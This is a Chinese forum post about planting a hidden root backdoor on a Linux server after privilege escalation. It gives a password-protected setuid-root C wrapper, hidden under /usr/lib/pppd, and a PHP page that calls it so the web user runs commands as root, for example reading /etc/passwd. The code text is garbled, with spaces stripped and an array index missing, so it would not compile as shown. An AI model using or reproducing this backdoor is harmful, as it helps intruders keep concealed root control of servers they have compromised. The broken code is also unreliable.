linux下一种脚本越权的方法

[复制链接]
查看192 | 回复0 | 2012-4-1 19:16:04 | 显示全部楼层 |阅读模式
以前一直有一种想法:Linux提权后,各种后门不隐蔽,各种防火墙很BT,能不能让PHP继承suid权限,当作后门。

经过测试,这个想法是可行的。



首先编写一段C,名为:run.c,并赋予suid权限。



#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<unistd.h>
#include<string.h>
intmain(intargc,char*argv[])
{
&nbsp;&nbsp;&nbsp;&nbsp;char*pass=&quot;imspider&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;if(argc<3)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;error\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return0;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;uid_tuid,euid;
&nbsp;&nbsp;&nbsp;&nbsp;uid=getuid();
&nbsp;&nbsp;&nbsp;&nbsp;euid=geteuid();
&nbsp;&nbsp;&nbsp;&nbsp;if(setreuid(euid,uid))
&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;setreuid&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;ints;
&nbsp;&nbsp;&nbsp;&nbsp;if(strcmp(argv[2],pass)==0)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(s=3;s<argc;s++)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(argv[1],&quot;&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(argv[1],argv);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(argv[1]);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n------Passworderror------\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return0;
}


复制代码
程序接收三个以上参数,特定第三个参数为密码(即argv[2]),char*pass=&quot;imspider&quot;;密码为imspider。


密码正确才能执行系统命令。




这里我把run.c编译到/usr/lib/pppd路径下:



root@spider:/usr/lib/pppd#gcc-Wall-orunrun.c
root@spider:/usr/lib/pppd#chmodu+srun


复制代码
下面PHP代码是重点:


这里利用PHP自带的system函数,在禁用system的情况下,可以利用PHP扩展,我以前提到过,这里不解释。


比如我们想查看/etc/passwd,前面提到第三个参数是密码。



<?php
echo'<pre>';
system('/usr/lib/pppd/runcatimspider/etc/passwd');
echo'</pre>';
?>


复制代码
system('/usr/lib/pppd/runwhoamiimspider');//调用run查看当前用户,输出root。


system('/usr/lib/pppd/runwhoamifuck');//密码不正确,输出Passworderror。


system('whoami');//不调用run查看当前用户,输出www。




我比较无聊,做了个命令交互页面。





7&nbsp;小时前上传
下载附件(13.87KB)






7&nbsp;小时前上传
下载附件(26.68KB)

*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则